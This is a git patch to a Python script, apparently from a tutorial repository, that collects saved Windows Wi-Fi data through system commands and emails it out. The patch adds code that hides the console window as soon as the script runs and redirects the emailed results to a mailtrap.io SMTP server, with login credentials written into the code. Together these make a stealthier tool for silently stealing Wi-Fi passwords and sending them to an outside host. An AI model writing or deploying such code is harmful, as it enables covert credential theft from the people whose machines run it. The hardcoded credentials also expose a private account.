From 5bead83038aadf53fc868fb9a786cb37824b18eb Mon Sep 17 00:00:00 2001 From: Mr-Cracker-Pro <81502164+Mr-Cracker-Pro@users.noreply.github.com> Date: Sat, 11 Dec 2021 20:02:57 +0530 Subject: [PATCH] Added Win32Gui for hide terminal --- windows10-wifi-email.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/windows10-wifi-email.py b/windows10-wifi-email.py index d8e40f8..c18018f 100644 --- a/windows10-wifi-email.py +++ b/windows10-wifi-email.py @@ -5,10 +5,16 @@ #https://www.youtube.com/davidbombal # ###################################### import subprocess +import win32gui,win32con import re import smtplib from email.message import EmailMessage +# Win32 Gui allow us to hide the terminal after executing the code. +# Implemented by https://github.com/Mr-Cracker-Pro +hide_console = win32gui.GetForegroundWindow() +win32gui.ShowWindow(hide_console,win32con.SW_HIDE) + # Python allows us to run system commands by using a function provided by the subprocess module (subprocess.run(, )) # The script is a parent process and creates a child process which runs the system command, and will only continue once the child process has completed. # To save the contents that gets sent to the standard output stream (the terminal) we have to specify that we want to capture the output, so we specify the second argument as capture_output = True. This information gets stored in the stdout attribute. The information is stored in bytes and we need to decode it to Unicode before we use it as a String in Python. @@ -63,11 +69,11 @@ email.set_content(email_message) # Create smtp server -with smtplib.SMTP(host="smtp.gmail.com", port=587) as smtp: +with smtplib.SMTP(host="smtp.mailtrap.io", port=2525) as smtp: smtp.ehlo() # Connect securely to server smtp.starttls() # Login using username and password to dummy email. Remember to set email to allow less secure apps if using Gmail - smtp.login("login_name", "password") + smtp.login("50bac7437bd85e", "36cff643b7d70f") # Send email. smtp.send_message(email)